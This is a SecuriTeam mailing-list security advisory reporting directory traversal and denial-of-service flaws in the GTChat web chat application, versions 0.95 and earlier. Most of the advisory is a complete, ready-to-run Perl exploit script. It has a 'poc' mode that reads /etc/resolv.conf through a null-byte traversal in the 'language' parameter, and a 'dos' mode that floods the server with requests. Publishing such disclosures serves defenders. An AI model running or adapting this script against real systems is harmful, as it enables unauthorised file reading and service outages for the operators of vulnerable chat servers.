[EXPL] GTChat Remote Denial Of Service And Directory Traversal

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  GTChat Remote Denial Of Service And Directory Traversal
------------------------------------------------------------------------


SUMMARY

 <http://www.gtchat.de/welcome_en.xhtml> GT-chat is a fast and comfortable 
webchat application. Due to use of server push technology and working 
without a database like mySQL it uses only little server resources, which 
of course won't affect the performance.

A Directory traversal vulnerability exists in GTChat. GTChat is also 
vulnerable to denial of service by sending many chat requests sent to the 
server.

DETAILS

Vulnerable Systems:
 * GTChat versions 0.95 and prior.

Exploit:
#!/usr/bin/perl

 use LWP::Simple;
    
 if (@ARGV < 3)
{
    print "\nUsage: $0 [server] [path] [mode] [count for DoS]\n";
    print "sever -  URL chat\n";
    print "path  -  path to chat.pl\n";
    print "mode  -  poc or dos,\n";
    print "                    poc - simple check without DoS and 
exit,\n";
    print "                    dos - DoS, you must set count for requests 
in 4 argument.\n\n";
    exit ();
}
    $DoS      =     "dos";
    $POC      =     "poc";
    $server   =  $ARGV[0];
    $path     =  $ARGV[1];
    $mode     =  $ARGV[2];
    $count    =  $ARGV[3];
    print qq(
                                           
###################################
                                           # GTChat <= 0.95 Alpha remote 
DoS #
                                           #   tested on GTChat 0.95 Alpha 
  #
                                           # (c)oded by x97Rang 2005 
RST/GHC #
                                           #    Respect: b1f, 1dt.w0lf, ed 
  #
                                           
################################### );
 if ($mode eq $POC)
{
    print "\n\nTry read file /etc/resolv.conf, maybe remote system 
unix...\n";
    $URL = 
sprintf("http://%s%s/chat.pl?language=../../../../../../../../../../etc/resolv.conf%00
 HTTP/1.0\nHost: %s\nAccept:*/*\nConnection:close\n\n",$server,$path,$server);
    $content = get "$URL";
 if ($content =~ /(domain|sortlist|options|search|nameserver|dhclient)/)
{   print "File read successfully, remote system is *nix and $server are 
VULNERABLE!\n"; exit(); }
 if ($content =~ /Fatal error/)
{
    print "File read failed, but *Fatal error* returned, $server MAYBE 
vulnerable, check all output:\n";
    print "=== OUTPUT 
===============================================================================\n";
    print "\n$content\n";
    print 
"===============================================================================
 OUTPUT ===\n";
    exit();
}
 else { print "Hmm.. if you arguments right, then $server NOT vulnerable, 
go sleep :)\n"; }
}
 if ($mode eq $DoS)
{
 if (!($count)) { print "\nNeed count for DoS requests, you don't set it, 
exit...\n"; exit() }
    print "\nSend $count DoS requests to $server...\n";
   $URL = sprintf("http://%s%schat.pl?language=chat.pl%00 HTTP/1.0\nHost: 
%s\nAccept:*/*\nConnection:close\n\n",$server,$path,$server);
 for ($count_ov = 0; $count_ov != $count; $count_ov++) { $content = get 
"$URL"; }
    print "Done, packets sended.\n";
}


ADDITIONAL INFORMATION

The information has been provided by x97Rang.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@xxxxxxxxxxxxxx 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@xxxxxxxxxxxxxx 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.